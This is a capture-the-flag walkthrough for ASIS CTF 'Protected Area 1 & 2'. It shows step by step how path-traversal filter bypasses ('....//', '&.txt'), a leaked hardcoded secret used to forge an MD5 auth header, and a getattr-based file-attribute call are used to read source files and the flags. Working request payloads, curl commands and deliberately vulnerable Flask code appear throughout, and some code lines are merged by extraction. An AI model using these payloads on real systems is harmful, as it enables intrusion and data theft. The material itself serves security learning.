ASIS CTF — Protected Area 1 & 2 Walkthrough
Hello, The reader of this walkthrough should know these topics:
- Docker
- Nginx
- Flask structure and a bit of development
- Running Flask as uWSGI service
- Web application vulnerability assessment
- Fuzzing
The Protected Area part 1
Opening the challenge IP resulted in sending two HTTP request:
http://66.172.33.148:8008/check_perm/readable/?file=public.txt
http://66.172.33.148:8008/read_file/?file=public.txt
The first link had directory traversal:
http://66.172.33.148:8008/check_perm/readable/?file=../../../../../../etc/passwd
However, nothing useful gained. The second link was file-opener. I tried to fuzz the input:
?file=[FUZZ]public.txt[FUZZ]
The fuzz results:
- The
../
is replaced with nothing (the../public.txt
returned content) - The file should end with
.txt
I tried:
....//.txt
Got the different error (500). In order to bypass the .txt
I tried the following methods:
- Nullbyte
- New-line/other whitespaces
- Parameter pollution
Nothing gained. Here I spent some time, the following request/response:
?file=....//public.txt.txt -> security
?file=....//public.py.txt -> 500
Why the first link returned security? it’s was ending by .txt
and it should be ok. Conclusion: the .txt
should be the last part of the parameter|query string. So:
?file=....//&.txt
Got 500. the filter was bypassed. Quick fuzz:
?file=....//[FUZZ]&.txt
Revealed the app.py
:
from flask import Flask
def create_app():
"""Construct the core application."""
app = Flask(__name__, instance_relative_config=False)
with app.app_context():
# Imports
from . import api return app
The api.py
:
from flask import current_app as app
from flask import request, render_template, send_file
from .functions import *
from config import *
import os
@app.route('/check_perm/readable/', methods=['GET'])
def app_check_file() -> str:
try:
file = request.args.get("file")
file_path = os.path.normpath('application/files/{}'.format(file))
with open(file_path, 'r') as f:
return str(f.readable())
except:
return '0'
@app.route('/read_file/', methods=['GET'])
def app_read_file() -> str:
file = request.args.get("file").replace('../', '')
qs = request.query_string.decode('UTF-8')
if qs.find('.txt') != (len(qs) - 4):
return 'security'
try:
return send_file('files/{}'.format(file))
except Exception as e:
return "500"
@app.route('/protected_area_0098', methods=['GET'])
@check_login
def app_protected_area() -> str:
return Config.FLAG
@app.route('/', methods=['GET'])
def app_index() -> str:
return render_template('index.html')
@app.errorhandler(404)
def not_found_error(error) -> str:
return "Error 404"
The flag was in protected_area_0098
but authentication was needed, two important files were config.py
: (….//….//config.py&.txt)
import os
class Config:
"""Set Flask configuration vars from .env file."""
# general config
FLAG = os.environ.get('FLAG')
SECRET = "s3cr3t"
ADMIN_PASS = "b5ec168843f71c6f6c30808c78b9f55d"
And functions.py
(….//functions.py&.txt)
from flask import request, abort
from functools import wraps
import traceback, os, hashlib
from config import *
def check_login(f):
"""
Wraps routing functions that require a user to be logged in
"""
@wraps(f)
def wrapper(*args, **kwds):
try:
ah = request.headers.get('ah')
if ah == hashlib.md5((Config.ADMIN_PASS + Config.SECRET).encode("utf-8")).hexdigest():
return f(*args, **kwds)
else:
return abort(403)
except:
return abort(403)
return wrapper
The flag:
curl http://66.172.33.148:8008/protected_area_0098 -H "ah: cbd54a3499ba0f4b221218af1958e281" -v
* Trying 66.172.33.148...
* TCP_NODELAY set
* Connected to 66.172.33.148 (66.172.33.148) port 8008 (#0)
> GET /protected_area_0098 HTTP/1.1
> Host: 66.172.33.148:8008
> User-Agent: curl/7.64.1
> Accept: */*
> ah: cbd54a3499ba0f4b221218af1958e281
>
< HTTP/1.1 200 OK
< Server: nginx/1.15.8
< Date: Sun, 17 Nov 2019 13:53:05 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 38
<
* Connection #0 to host 66.172.33.148 left intact
ASIS{f70a0203d638a0c90a490ad46a94e394}
* Closing connection 0
The Protected Area part 2
The challenge was the same as previous. private.txt
revealed the back-end infra-structure:
https://github.com/tiangolo/uwsgi-nginx-flask-docker
I did lots of fuzzing on the various parts of URL:
?file=[FUZZ]public[FUZZ].txt[FUZZ]
Nothing gained. After spending some time, I went to check the second URL:
http://66.172.33.148:5008/check_perm/readable/?file=test
Something was different from the first question, the error message:
[Errno 2] No such file or directory: '/files/test'
So I tried to fuzz the input, nothing useful. After a couple of hours, I got an error with the URL:
http://66.172.33.148:5008/check_perm/test/?file=public.txt
The response:
'_io.TextIOWrapper' object has no attribute 'test'
I was in the TextIOWrapper
so I run the following code:
>>> print(dir(open('/etc/passwd')))['_CHUNK_SIZE', '__class__', '__del__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__ne__', '__new__', '__next__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_checkClosed', '_checkReadable', '_checkSeekable', '_checkWritable', '_finalizing', 'buffer', 'close', 'closed', 'detach', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'line_buffering', 'mode', 'name', 'newlines', 'read', 'readable', 'readline', 'readlines', 'reconfigure', 'seek', 'seekable', 'tell', 'truncate', 'writable', 'write', 'write_through', 'writelines']
The read
was good:
http://66.172.33.148:5008/check_perm/read/?file=public.txt
I got the content, so file disclosure vulnerability found. I run the docker image and went inside it:
docker run -d -p5000:80 uwsgi-nginx-flask-docker
docker exec -it $(docker ps -q) /bin/bash
The following files seemed more interesting:
/etc/nginx/nginx.conf
/etc/nginx/conf.d/nginx.conf
The result:
server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /opt/py/app/static;
}
}
The root folder: /opt/py/app
so I went through finding the application name (I read the config.py
by guessing, but it wasn’t enough since the flag could not be read by the check_perm
end-point):
import osclass Config:
"""Set Flask configuration vars from .env file."""# general config
FLAG = "flag/flag"
FLAG_SEND = "../flag/flag"
Reading the repo:
[uwsgi]
module = main
callable = app
module = main
refers to the filemain.py
.callable = app
refers to theFlask
"application", in the variableapp
So:
view-source:http://66.172.33.148:5008/check_perm/read/?file=../opt/py/app/uwsgi.ini
The result:
[uwsgi]
module = main_application
callable = app
py-autoreload = 1
uid = nginx
gid = nginx
process = 5
max-requests=5000
The main_application.py
:
from app_source.main import *app = create_app()if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True)
Reading all files revealed the structure (from /opt/py/app/
):
.
|-- main_application.py
|-- app_source
|-------------|--- main.py
|-------------|--- admin_route.py
|-------------|--- all_routes.py
The admin_routes.py
:
from flask import current_app as app
from flask import request, render_template, send_file
import traceback, json
from config import *
import os@app.route('/protected_area/<file_hash>', methods=['GET'])
def app_protected_area(file_hash) -> str:
try:
if str(hash(open(Config.FLAG))) == file_hash:
return send_file(Config.FLAG_SEND)
else:
abort(403)
except:
return "500"
In order to read the flag, I should have the flag’s hash, how? I could get __hash__
property of the flag
. However, the check_perm
end-pint could not contain flag
. the solution is in the all_routes.py
:
from flask import current_app as app
from flask import request, render_template, send_file
import traceback, json
import os@app.route('/check_perm/<method>/', methods=['GET'])
def app_checkb_file(method) -> json:
try:
file = request.args.get("file")if file.find('/proc') != -1:
return "0"file_path = os.path.normpath('/files/{}'.format(file))
with open(file_path, 'r') as f:call = getattr(f, method)()
if type(call) == int:
return str(call)
elif type(call) != list and file.find('flag') == -1:
return str(call)return '0'
except Exception as e:
return str(e)@app.route('/read_file/', methods=['GET'])
def app_read_file() -> str:
file = request.args.get("file").replace('../', '')if file.find('.txt') != (len(file) - 4):
return 'security'
try:
return send_file('/files/{}'.format(file))
except Exception as e:
return str(e)@app.route('/', methods=['GET'])
def app_index() -> str:
return render_template('index.html')@app.errorhandler(404)
def not_found_error(error) -> str:
return "Error 404"
The file’s hash is an integer:
>>> type(open('/etc/passwd').__hash__())<class 'int'>
So I could calculate the __hash__()
of the flag/flag
:
view-source:http://66.172.33.148:5008/check_perm/__hash__/?file=../opt/py/app/flag/flag
Getting the flag:
curl http://66.172.33.148:5008/protected_area/8771321880381ASIS{1b7dc3a5ba52a11f0361bec284e59d58}